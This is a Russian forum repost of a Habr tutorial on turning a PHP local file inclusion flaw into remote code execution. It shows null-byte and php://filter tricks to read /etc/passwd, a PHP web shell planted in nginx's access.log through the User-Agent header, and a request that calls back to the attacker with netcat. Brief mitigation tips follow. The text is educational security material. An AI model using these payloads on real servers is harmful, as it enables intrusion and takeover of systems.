[Информационная безопасность, Тестирование веб-сервисов] Безопасность веб: из LFI в RCE
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
Local File Inclusion (LFI) — это возможность использования локальных файлов сервера. Уязвимость позволяет удаленному пользователю получить доступ с помощью специально сформированного запроса к произвольным файлам на сервере, в том числе потенциально содержащим конфиденциальную информацию. Сегодня расскажем, как атакующий, используя этот недостаток, может выполнять команды на удаленном сервере.
Возникает подобная уязвимость в том случае, если при реализации веб-приложения используются небезопасные функции, например, include, позволяющие включать контент на страницу из локального файла. В нашем случае это выглядит следующим образом:
Благодаря строчке include(“$file”) в содержимое страницы будет включаться значение GET-параметра file. Теперь, используя эту уязвимость, нам будут возвращаться локальные файлы, которые мы укажем в параметре.
Статья носит информационный характер. Не нарушайте законодательство.
Обнаружение уязвимости
Как обнаружить уязвимость? Если указать в потенциально уязвимом параметре включение какого-то локального файла, например, index с любым расширением, и этот файл откроется, то однозначно можно утверждать, что параметр отвечает за подкачку файла. Сделать это можно как вручную, так и с помощью различных автоматизированных инструментов, например, сканером уязвимостей Wapiti, о котором говорилось в одной из наших статей, или специализированным инструментом LFISuite, который разработан именно под поиск и эксплуатацию LFI-уязвимостей.
Какие здесь могут быть подводные камни? Например, наличие фильтрации, которая будет подставлять в окончание строки расширение файла, например, .php. Таким образом, при попытке включения в страницу файла /etc/passwd мы получим в адресной строке file=/etc/passwd.php, а содержимое этого файла не будет отображаться на странице, так как файла не существует. Но такой фильтр можно обойти с помощью так называемого нулевого байта, который будет «отсекать» все, что будет идти после него. Дело в том, что вся адресная строка при передаче HTTP-запроса кодируется в URL-encode, и в этой кодировке нулевой байт выглядит как %00. Таким образом, строчка /etc/passwd%00.php будет преобразована в /etc/passwd. Однако стоит отметить, что данная проблема является довольно известной и исправлена в версии PHP 5.3+
Другой вариант обхода фильтрации — использование php filter. В параметре, отвечающем за включение файлов, пишем не просто путь до файла, который мы хотим включить, а путь до файла с использованием этой функции. Теперь запрос, который мы будем отправлять, имеет вид:
http://site.test.lan/index2.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
И теперь на странице браузера мы увидим не содержимое файла, а его исходник в кодировке base64, который можно декодировать:
С основными моментами уязвимости LFI разобрались, и теперь понимаем, что при ее эксплуатации можно прочитать локальный файл на удаленном сервере. Но у LFI есть интересная особенность, позволяющая не просто прочитать локальные файлы, а скомпрометировать сервер.
Отравление журнала веб-сервера
Думаю, стоит сразу оговориться, что уязвимость не новая, но тем не менее она до сих встречается и может представлять серьезную угрозу для безопасности веб-сервера. При взаимодействии с веб-приложением любой наш запрос записывается в журналы веб-сервера, как правило, это файлы /var/log/nginx/access.log или /var/log/nginx/error.log если, например, используется веб-сервер Nginx, но названия конечных файлов, разумеется, могут отличаться.
Теперь, составив специальный запрос, мы создадим веб-шелл на сервере, записав его в access.log. Для этого изменим заголовок User-Agent, добавив в него <?php system($_GET[cmd]); ?>. Для отправки запроса будем использовать инструмент Burp Suite, позволяющий в режиме реального времени перехватывать и редактировать запросы. Почему использовался именно User-Agent? Как уже говорилось ранее, адресная строка кодирует информацию с помощью URL-encode, поэтому для передачи php-кода нужно использовать заголовки, а так как в access.log точно пишется User-Agent, то его и используем.
Веб-шелл записан и готов к использованию:
При обращении к журналу веб-приложения, используя LFI-уязвимость, его содержимое будет считываться, а скрипт <?php system($_GET[cmd]); ?> — выполняться, что позволит использовать переменную "cmd" для выполнения команд на сервере:
http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=ls /
В отличие от LFI, где для чтения содержимого файла необходимо указывать полный путь до него, во втором случае выполняются произвольные команды на сервере. Это значит, что помимо чтения файлов сервера мы можем получить доступ к нему. Для этого указываем в параметре cmd команду запуска Netcat для связи с сервером атакующего, то есть с нами:
http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=nc 192.168.0.135 4455
Рекомендации
- регулярно проверять безопасность веб-приложения с целью предотвращения возникновения уязвимостей;
- добавить в журнал веб-сервера строчку <?php exit(1); ?>. Данный скрипт будет предотвращать любые попытки выполнения php-кода в этом файле (не самая лучшая идея, но это работает, по крайней мере до тех пор, пока rsyslog не пересоздаст файл журнала);
- использовать WAF, который будет блокировать вредоносный запрос, не позволяя его выполнить на веб-сервере.
===========
Источник:
habr.com
===========
Похожие новости:
- [Информационная безопасность, Разработка мобильных приложений] Пользователи системы «Помощник Москвы» смогут сообщать о незаконной торговле и скоплениях людей
- [Информационная безопасность, Мессенджеры, Законодательство в IT, Социальные сети и сообщества] Темно-серая зона экосистемы Telegram
- [Информационная безопасность, Законодательство в IT, IT-компании] Twitter оштрафовали на 450 тысяч евро за нарушение GDPR спустя два года после утечки
- [IT-инфраструктура, Сетевые технологии, Разработка под e-commerce, Сетевое оборудование] WSJ: Высокочастотные трейдеры внедряют полое оптоволокно, чтобы приблизиться к скорости света при передаче данных
- [Информационная безопасность, IT-компании] Как металлургический комбинат с помощью RPA расширил возможности закупок
- [Информационная безопасность, Локализация продуктов, Производство и разработка электроники] Russian microcontroller K1986BK025 based on the RISC-V processor core for smart electricity meters (перевод)
- [Open source, Тестирование IT-систем, Программирование, Java] Вжух, и прогоны автотестов оптимизированы. Intellij IDEA плагины на службе QA Automation
- [Платежные системы, Управление e-commerce, Бизнес-модели, Финансы в IT] Подключение к платежному сервису — быстро и удобно. Миф или реальность?
- [Информационная безопасность, GitHub] Данные авторизации взломанного «русскими хакерами» SolarWinds нашли на GitHub еще в 2019 году
- [Информационная безопасность, Open source, Git, GitHub, IT-компании] GitHub предупредил о переходе на токены и SSH-ключи при доступе к Git, пароли отменяются с 13 августа 2021 года
Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_testirovanie_vebservisov (Тестирование веб-сервисов), #_pentestit, #_lfi, #_rce, #_vebbezopasnost (веб-безопасность), #_informatsionnaja_bezopasnost (
Информационная безопасность
), #_testirovanie_vebservisov (
Тестирование веб-сервисов
)
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 23-Ноя 01:47
Часовой пояс: UTC + 5
| Автор | Сообщение |
|---|---|
|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
 Local File Inclusion (LFI) — это возможность использования локальных файлов сервера. Уязвимость позволяет удаленному пользователю получить доступ с помощью специально сформированного запроса к произвольным файлам на сервере, в том числе потенциально содержащим конфиденциальную информацию. Сегодня расскажем, как атакующий, используя этот недостаток, может выполнять команды на удаленном сервере. Возникает подобная уязвимость в том случае, если при реализации веб-приложения используются небезопасные функции, например, include, позволяющие включать контент на страницу из локального файла. В нашем случае это выглядит следующим образом:  Благодаря строчке include(“$file”) в содержимое страницы будет включаться значение GET-параметра file. Теперь, используя эту уязвимость, нам будут возвращаться локальные файлы, которые мы укажем в параметре.  Статья носит информационный характер. Не нарушайте законодательство.
Обнаружение уязвимости Как обнаружить уязвимость? Если указать в потенциально уязвимом параметре включение какого-то локального файла, например, index с любым расширением, и этот файл откроется, то однозначно можно утверждать, что параметр отвечает за подкачку файла. Сделать это можно как вручную, так и с помощью различных автоматизированных инструментов, например, сканером уязвимостей Wapiti, о котором говорилось в одной из наших статей, или специализированным инструментом LFISuite, который разработан именно под поиск и эксплуатацию LFI-уязвимостей.   Какие здесь могут быть подводные камни? Например, наличие фильтрации, которая будет подставлять в окончание строки расширение файла, например, .php. Таким образом, при попытке включения в страницу файла /etc/passwd мы получим в адресной строке file=/etc/passwd.php, а содержимое этого файла не будет отображаться на странице, так как файла не существует. Но такой фильтр можно обойти с помощью так называемого нулевого байта, который будет «отсекать» все, что будет идти после него. Дело в том, что вся адресная строка при передаче HTTP-запроса кодируется в URL-encode, и в этой кодировке нулевой байт выглядит как %00. Таким образом, строчка /etc/passwd%00.php будет преобразована в /etc/passwd. Однако стоит отметить, что данная проблема является довольно известной и исправлена в версии PHP 5.3+ Другой вариант обхода фильтрации — использование php filter. В параметре, отвечающем за включение файлов, пишем не просто путь до файла, который мы хотим включить, а путь до файла с использованием этой функции. Теперь запрос, который мы будем отправлять, имеет вид: http://site.test.lan/index2.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
 И теперь на странице браузера мы увидим не содержимое файла, а его исходник в кодировке base64, который можно декодировать:   С основными моментами уязвимости LFI разобрались, и теперь понимаем, что при ее эксплуатации можно прочитать локальный файл на удаленном сервере. Но у LFI есть интересная особенность, позволяющая не просто прочитать локальные файлы, а скомпрометировать сервер. Отравление журнала веб-сервера Думаю, стоит сразу оговориться, что уязвимость не новая, но тем не менее она до сих встречается и может представлять серьезную угрозу для безопасности веб-сервера. При взаимодействии с веб-приложением любой наш запрос записывается в журналы веб-сервера, как правило, это файлы /var/log/nginx/access.log или /var/log/nginx/error.log если, например, используется веб-сервер Nginx, но названия конечных файлов, разумеется, могут отличаться.  Теперь, составив специальный запрос, мы создадим веб-шелл на сервере, записав его в access.log. Для этого изменим заголовок User-Agent, добавив в него <?php system($_GET[cmd]); ?>. Для отправки запроса будем использовать инструмент Burp Suite, позволяющий в режиме реального времени перехватывать и редактировать запросы. Почему использовался именно User-Agent? Как уже говорилось ранее, адресная строка кодирует информацию с помощью URL-encode, поэтому для передачи php-кода нужно использовать заголовки, а так как в access.log точно пишется User-Agent, то его и используем.  Веб-шелл записан и готов к использованию:  При обращении к журналу веб-приложения, используя LFI-уязвимость, его содержимое будет считываться, а скрипт <?php system($_GET[cmd]); ?> — выполняться, что позволит использовать переменную "cmd" для выполнения команд на сервере: http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=ls /
 В отличие от LFI, где для чтения содержимого файла необходимо указывать полный путь до него, во втором случае выполняются произвольные команды на сервере. Это значит, что помимо чтения файлов сервера мы можем получить доступ к нему. Для этого указываем в параметре cmd команду запуска Netcat для связи с сервером атакующего, то есть с нами: http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=nc 192.168.0.135 4455
 Рекомендации
=========== Источник: habr.com =========== Похожие новости:
Информационная безопасность ), #_testirovanie_vebservisov ( Тестирование веб-сервисов ) |
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 23-Ноя 01:47
Часовой пояс: UTC + 5